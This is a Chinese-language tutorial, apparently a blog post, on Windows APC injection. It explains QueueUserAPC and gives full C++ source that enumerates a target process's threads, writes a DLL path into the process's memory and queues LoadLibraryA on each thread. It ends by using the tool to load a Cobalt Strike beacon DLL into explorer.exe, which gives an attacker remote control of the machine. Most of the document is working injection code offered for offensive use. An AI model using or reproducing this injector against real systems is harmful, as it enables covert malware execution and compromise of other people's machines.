程序注入系之APC注入
什麼是APC
APC 是一個簡稱,全稱為Asynchronous Procedure Call,叫非同步過程呼叫,是指函式在特定執行緒中被非同步執行,在作業系統中,APC是一種併發機制。
MSDN解釋為:
相關函式
QueueUserApc
:函式作用,新增制定的非同步函式呼叫(回撥函式)到執行的執行緒的APC佇列中
APCproc
:函式作用: 回撥函式的寫法.
核心函式
QueueUserAPC
DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function HANDLEhThread, // handle to thread ULONG_PTRdwData // APC function parameter );
引數1表示執行函式的地址,當開始執行該APC的時候,程式會跳轉到該函式地址處來執行。
引數2表示插入APC的執行緒控制代碼,要求執行緒控制代碼必須包含THREAD_SET_CONTEXT
訪問許可權。
引數3表示傳遞給執行函式的引數,與遠執行緒注入類似,如果QueueUserAPC
的第一個引數為LoadLibraryA
,第三個引數設定的是dll路徑即可完成dll注入。
實現原理
往執行緒APC佇列新增APC,系統會產生一個軟中斷。線上程下一次被排程的時候,就會執行APC函式,APC有兩種形式,由系統產生的APC稱為核心模式APC,由應用程式產生的APC被稱為使用者模式APC
介紹一下應用程式的APC
APC是往執行緒中插入一個回撥函式,但是用的APC呼叫這個回撥函式是有條件的.在Msdn的寫法如下
上面說到要要使用SleepEx
,signalObjectAndWait
.....等等這些函式才會觸發。
這就有了APC注入的條件:
1.必須是多執行緒環境下
2.注入的程式必須會呼叫上面的那些同步物件.
注入方法原理
1.當對面程式執行到某一個上面的等待函式的時候,系統會產生一箇中斷
2.當執行緒喚醒的時候,這個執行緒會優先去Apc佇列中呼叫回撥函式
3.我們利用QueueUserApc,往這個佇列中插入一個回撥
4.插入回撥的時候,把插入的回撥地址改為LoadLibrary,插入的引數我們使用VirtualAllocEx申請記憶體,並且寫入進去
使用方法
1.利用快照列舉所有的執行緒
2.寫入遠端記憶體,寫入的是Dll的路徑
3.插入我們的DLL即可
實現過程
編寫一個根據程序名獲取pid的函式,然後根據PID獲取所有的執行緒ID,這裡我就將兩個函式集合在一起,通過自己輸入PID來獲取指定程序的執行緒並寫入陣列
//列出指定程序的所有執行緒
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申請空間
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍攝快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 結構的大小
th32.dwSize = sizeof(THREADENTRY32);
// 遍歷所有THREADENTRY32結構, 按順序填入陣列
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
然後是apc注入的主函式,首先使用VirtualAllocEx
遠端申請記憶體
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申請記憶體
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路徑複製到記憶體中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 獲得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍歷執行緒, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 開啟執行緒
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 關閉執行緒控制代碼
::CloseHandle(hThread);
hThread = NULL;
}
}
使用WriteProcessMemory
把dll路徑寫入記憶體
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)
獲取LoadLibraryA
的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
便利執行緒並插入APC,這裡定義一個fail並進行判斷,如果QueueUserAPC
返回的值為NULL則執行緒遍歷失敗,fail的值就+1
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 開啟執行緒
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
}
}
主函式,定義dll地址
strcpy_s(wzDllFullPath, "載入要注入的dll的路徑");
使用OpenProcess
開啟控制代碼
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
呼叫前面寫好的APCInject
函式實現APC注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
採用手動輸入的方式,通過cin >> ulProcessID
將接收到的引數賦給ulProcessID
利用此方法上線CS
完整程式碼
// inject3.cpp : 此檔案包含 "main" 函式。程式執行將在此處開始並結束。
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
//列出指定程序的所有執行緒
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申請空間
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍攝快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 結構的大小
th32.dwSize = sizeof(THREADENTRY32);
//遍歷所有THREADENTRY32結構, 按順序填入陣列
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申請記憶體
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路徑複製到記憶體中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 獲得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍歷執行緒, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 開啟執行緒
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 關閉執行緒控制代碼
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
{
printf("Success to Inject APC\n");
return TRUE;
}
else
{
printf("Inject may be failed\n");
return FALSE;
}
}
int main()
{
ULONG32 ulProcessID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
#ifndef _WIN64
strcpy_s(wzDllFullPath, "載入要注入的dll的路徑");
#else // _WIN64
strcpy_s(wzDllFullPath, "載入要注入的dll的路徑");
#endif
if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads\n");
exit(0);
}
//開啟控制代碼
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess == NULL)
{
printf("Failed to open Process\n");
return FALSE;
}
//注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}
上線cs
首先CS建立監聽,生成一個惡意dll檔案
在目標機上執行編譯好的exe檔案,並輸入要注入程序的PID,這裡我使用explorer.exe測試
編譯,輸入PID
檢視CS,已經成功上線,且程序也載入了beacon.dll.